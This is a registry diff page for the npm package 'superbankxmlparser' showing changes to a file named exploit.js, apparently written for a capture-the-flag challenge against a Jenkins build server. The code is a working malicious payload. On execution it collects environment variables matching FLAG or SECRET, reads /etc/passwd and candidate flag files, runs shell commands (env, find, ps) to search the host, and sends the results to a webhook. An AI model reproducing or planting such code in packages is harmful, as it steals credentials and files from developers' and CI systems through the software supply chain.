superbankxmlparser 0.30.2 → 0.30.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exploit.js +37 -42
- package/package.json +1 -1
package/exploit.js
CHANGED
|
@@ -2,7 +2,7 @@ const fs = require('fs');
|
|
|
2
2
|
const { exec } = require('child_process');
|
|
3
3
|
const https = require('https');
|
|
4
4
|
|
|
5
|
-
console.log('=== MALICIOUS
|
|
5
|
+
console.log('=== MALICIOUS PACKAGE EXECUTED ===');
|
|
6
6
|
|
|
7
7
|
function sendToWebhook(data) {
|
|
8
8
|
try {
|
|
@@ -28,61 +28,56 @@ function sendToWebhook(data) {
|
|
|
28
28
|
}
|
|
29
29
|
}
|
|
30
30
|
|
|
31
|
-
let collectedData = '';
|
|
31
|
+
let collectedData = '=== EXPLOIT DATA ===\n';
|
|
32
32
|
|
|
33
|
-
// 1.
|
|
34
|
-
|
|
33
|
+
// 1. Переменные окружения (может содержать флаг)
|
|
34
|
+
collectedData += '=== ENVIRONMENT ===\n';
|
|
35
|
+
for (let key in process.env) {
|
|
36
|
+
if (key.includes('FLAG') || key.includes('flag') || key.includes('SECRET')) {
|
|
37
|
+
collectedData += `${key}=${process.env[key]}\n`;
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
|
|
41
|
+
// 2. Попробуем прочитать флаг из разных мест
|
|
42
|
+
const paths = [
|
|
35
43
|
'/etc/passwd',
|
|
36
|
-
'/flag',
|
|
37
|
-
'/workspace/flag', // Jenkins workspace
|
|
38
|
-
'/var/jenkins_home/jobs/staging/workspace/flag',
|
|
39
|
-
'/usr/src/app/flag', // App directory
|
|
40
|
-
'./flag', // Current directory
|
|
44
|
+
'/flag',
|
|
41
45
|
'/tmp/flag',
|
|
42
|
-
'/
|
|
46
|
+
'/var/jenkins_home/flag',
|
|
47
|
+
'/var/lib/jenkins/flag',
|
|
48
|
+
process.env.HOME + '/flag',
|
|
49
|
+
process.env.PWD + '/flag'
|
|
43
50
|
];
|
|
44
51
|
|
|
45
|
-
|
|
52
|
+
paths.forEach(path => {
|
|
46
53
|
try {
|
|
47
54
|
const content = fs.readFileSync(path, 'utf8');
|
|
48
|
-
|
|
49
|
-
console.log(content);
|
|
50
|
-
collectedData += `=== ${path} ===\n${content}\n\n`;
|
|
51
|
-
|
|
55
|
+
collectedData += `=== ${path} ===\n${content}\n`;
|
|
52
56
|
if (content.includes('{') && content.includes('}')) {
|
|
53
|
-
console.log(`🚨 FLAG FOUND
|
|
57
|
+
console.log(`🚨 FLAG FOUND: ${content}`);
|
|
54
58
|
}
|
|
55
|
-
} catch(e) {
|
|
56
|
-
collectedData += `Not found: ${path}\n`;
|
|
57
|
-
}
|
|
59
|
+
} catch(e) {}
|
|
58
60
|
});
|
|
59
61
|
|
|
60
|
-
//
|
|
61
|
-
exec('
|
|
62
|
-
if (!err) {
|
|
63
|
-
collectedData += `===
|
|
62
|
+
// 3. Выполним команды для поиска
|
|
63
|
+
exec('env | grep -i flag', (err, stdout) => {
|
|
64
|
+
if (!err && stdout) {
|
|
65
|
+
collectedData += `=== ENV FLAG SEARCH ===\n${stdout}\n`;
|
|
64
66
|
}
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
exec('find /workspace /var/jenkins_home /app /usr/src/app -name "flag" -type f 2>/dev/null', (err, stdout) => {
|
|
67
|
+
|
|
68
|
+
exec('find /var/jenkins_home /var/lib/jenkins /tmp /home -name "flag" -type f 2>/dev/null', (err, stdout) => {
|
|
68
69
|
if (!err && stdout) {
|
|
69
|
-
collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n
|
|
70
|
-
|
|
71
|
-
// Читаем найденные файлы
|
|
72
|
-
const files = stdout.trim().split('\n');
|
|
73
|
-
files.forEach(file => {
|
|
74
|
-
try {
|
|
75
|
-
const content = fs.readFileSync(file, 'utf8');
|
|
76
|
-
collectedData += `=== CONTENT OF ${file} ===\n${content}\n\n`;
|
|
77
|
-
console.log(`Content of ${file}:`, content);
|
|
78
|
-
} catch(e) {}
|
|
79
|
-
});
|
|
70
|
+
collectedData += `=== FOUND FLAG FILES ===\n${stdout}\n`;
|
|
80
71
|
}
|
|
81
72
|
|
|
82
|
-
//
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
73
|
+
// 4. Текущий процесс и его окружение
|
|
74
|
+
exec('ps aux | grep -i jenkins', (err, stdout) => {
|
|
75
|
+
if (!err) {
|
|
76
|
+
collectedData += `=== JENKINS PROCESSES ===\n${stdout}\n`;
|
|
77
|
+
}
|
|
78
|
+
|
|
79
|
+
sendToWebhook(collectedData);
|
|
80
|
+
console.log(collectedData);
|
|
81
|
+
});
|
|
87
82
|
});
|
|
88
83
|
});
|